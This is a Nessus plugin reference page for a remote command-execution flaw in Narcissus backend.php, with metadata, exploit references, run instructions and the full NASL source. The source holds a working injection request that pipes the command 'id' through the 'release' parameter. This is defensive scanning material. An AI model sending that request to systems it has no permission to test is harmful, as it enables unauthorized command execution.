Narcissus backend.php release Parameter Remote Command Execution - Nessus

High   Plugin ID: 63111

This page contains detailed information about the Narcissus backend.php release Parameter Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 63111
Name: Narcissus backend.php release Parameter Remote Command Execution
Filename: angstrom_narcissus_backend_cmd_exec.nasl
Vulnerability Published: 2012-11-14
This Plugin Published: 2012-11-30
Last Modification Time: 2022-04-11
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl
Required KB Items [?]: www/PHP
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2012-11-14
Patch Published: 2012-11-15
CVE [?]: N/A
CPE [?]: x-cpe:/a:angstrom:narcissus

Synopsis

The remote web server hosts a PHP script that allows arbitrary command execution.

Description

The remote web server hosts Narcissus, an online tool for the Angstrom distribution, used to create 'rootfs' images for embedded devices.

The version of Narcissus hosted on the remote web server fails to properly sanitize user-supplied input in a POST request to the 'release' parameter of the 'backend.php' script, when 'action' is set to 'configure_image', before using it in a call to PHP's 'passthru()' function. An unauthenticated, remote attacker can leverage this issue to execute arbitrary code on the remote host subject to the privileges of the web server user.

Solution

Apply the vendor-supplied patch from the referenced URL.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Narcissus backend.php release Parameter Remote Command Execution vulnerability:

  1. Metasploit: exploit/unix/webapp/narcissus_backend_exec
    [Narcissus Image Configuration Passthru Vulnerability]
  2. Exploit-DB: exploits/php/webapps/22709.txt
    [EDB-22709: Narcissus - Remote Command Execution]
  3. D2 Elliot: narcissus_rce.html
    [Narcissus RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:U/RC:ND
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:7.1 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.1 (High)

Go back to menu.

Plugin Source


This is the angstrom_narcissus_backend_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(63111);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(56511);
  script_xref(name:"EDB-ID", value:"22709");

  script_name(english:"Narcissus backend.php release Parameter Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that allows arbitrary command
execution.");
  script_set_attribute(attribute:"description", value:
"The remote web server hosts Narcissus, an online tool for the Angstrom
distribution, used to create 'rootfs' images for embedded devices. 

The version of Narcissus hosted on the remote web server fails to
properly sanitize user-supplied input in a POST request to the 'release'
parameter of the 'backend.php' script, when 'action' is set to
'configure_image', before using it in a call to PHP's 'passthru()'
function.  An unauthenticated, remote attacker can leverage this issue
to execute arbitrary code on the remote host subject to the privileges
of the web server user.");
  # https://github.com/Angstrom-distribution/narcissus/commit/3921ea72bc87fb073219137654b1bd47ede11555
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?7a08415b");
  script_set_attribute(attribute:"solution", value:
"Apply the vendor-supplied patch from the referenced URL.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Narcissus RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Narcissus Image Configuration Passthru Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/14");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/11/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/30");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:angstrom:narcissus");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

if (thorough_tests) dirs = list_uniq(make_list("/narcissus", cgi_dirs()));
else dirs = make_list(cgi_dirs());

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

non_vuln = make_list();
found = FALSE;

foreach dir (dirs)
{
  res = http_send_recv3(
    method       : "GET",
    item         : dir + "/index.html",
    port         : port,
    exit_on_fail : TRUE
  );

  if (
      !isnull(res[2]) &&
      '<h1>Narcissus</h1>' >< res[2] && 
      (
        'href="http://git.angstrom-distribution.org/cgi-bin/cgit.cgi/narcissus' >< res[2] || 
        'href="http://gitorious.org/angstrom/narcissus' >< res[2]
      )
  )
  {
    found = TRUE;

    res2 = http_send_recv3(
      port         : port,
      method       : "POST",
      item         : dir + "/backend.php",
      data         : "machine=0&action=configure_image&release=|"+cmd,
      add_headers  : make_array("Content-Type",
        "application/x-www-form-urlencoded"),
      exit_on_fail : TRUE
    );
    if (isnull(res[2])) continue;

    exploited = egrep(pattern:cmd_pat, string:res2[2]);

    if (exploited)
    {

      output = strstr(res2[2], exploited);
      snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);

      if (report_verbosity > 0)
      {
        report =
          '\n' + "Nessus was able execute the command 'id' on the remote host"+
	  '\n' + "using the following request :" +
          '\n' +
          '\n' + snip +
          '\n' + http_last_sent_request() +
          '\n' + snip +
          '\n';
        if (report_verbosity > 1)
        {
          output = chomp(output);
          output = data_protection::sanitize_uid(output:output);
          report +=
            '\n' + 'This produced the following output :' +
            '\n' + 
            '\n' + snip +
            '\n' + output +
            '\n' + snip +
            '\n';
        }
	security_hole(port:port, extra:report);
      }
      else security_hole(port);
    }
    else non_vuln = make_list(non_vuln, build_url(qs:dir+"/", port:port)); 

    if (!thorough_tests) break;
  }
}

# Audit Trails
if (!found) audit(AUDIT_WEB_APP_NOT_INST, "Narcissus", port);

installs = max_index(non_vuln);
if (installs > 0)
{
  if (installs == 1) audit(AUDIT_WEB_APP_NOT_AFFECTED, "Narcissus", non_vuln[0]);
  else exit(0, "The Narcissus installs at " + join(non_vuln, sep:", ") + " are not affected.");
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/angstrom_narcissus_backend_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\angstrom_narcissus_backend_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/angstrom_narcissus_backend_cmd_exec.nasl

Go back to menu.

How to Run


Here is how to run the Narcissus backend.php release Parameter Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Narcissus backend.php release Parameter Remote Command Execution plugin ID 63111.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl angstrom_narcissus_backend_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a angstrom_narcissus_backend_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - angstrom_narcissus_backend_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state angstrom_narcissus_backend_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 35090 - Moodle 'filter/tex/texed.php' 'pathname' Parameter Remote Command Execution
  • 40592 - WP-Syntax Plugin for WordPress 'apply_filters' function Command Execution
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 44675 - GIT gitweb git_snapshot / git_object Shell Metacharacter Arbitrary Command Execution
  • 45345 - eScan MWAdmin forgotpassword.php uname Parameter Arbitrary Command Execution
  • 49088 - SnortReport nmap.php target Parameter Arbitrary Command Execution
  • 50510 - FreeNAS 'exec_raw.php' Arbitrary Command Execution
  • 53336 - GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution
  • 53633 - Spreecommerce api/orders.json Search Function Arbitrary Command Execution
  • 57350 - Plone Request Parsing Remote Command Execution
  • 57576 - op5 Portal Arbitrary Command Execution
  • 57578 - op5 Config Arbitrary Command Execution
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 62293 - SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
  • 62737 - WANem result.php pc Parameter Remote Command Execution
  • 64096 - Movable Type mt-upgrade.cgi Remote Command Execution
  • 64293 - ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
  • 65127 - Adobe InDesign Server RunScript Arbitrary Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 70585 - NETGEAR ReadyNAS Remote Unauthenticated Command Execution
  • 76873 - TimThumb 'timthumb.php' < 2.8.14 WebShot 'src' Parameter Remote Command Execution
  • 76874 - TimThumb 'timthumb.php' WebShot 'src' Parameter Remote Command Execution
  • 84086 - D-Link Router HNAP GetDeviceSettings Remote Command Execution
  • 84217 - phpMoAdmin saveObject Remote Command Execution
  • 85005 - Accellion Secure File Transfer Appliance 'oauth_token' Parameter Remote Command Execution
  • 85850 - Barracuda Web Filter <= 5.0.0.012 Remote Command Execution
  • 99595 - Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file angstrom_narcissus_backend_cmd_exec.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.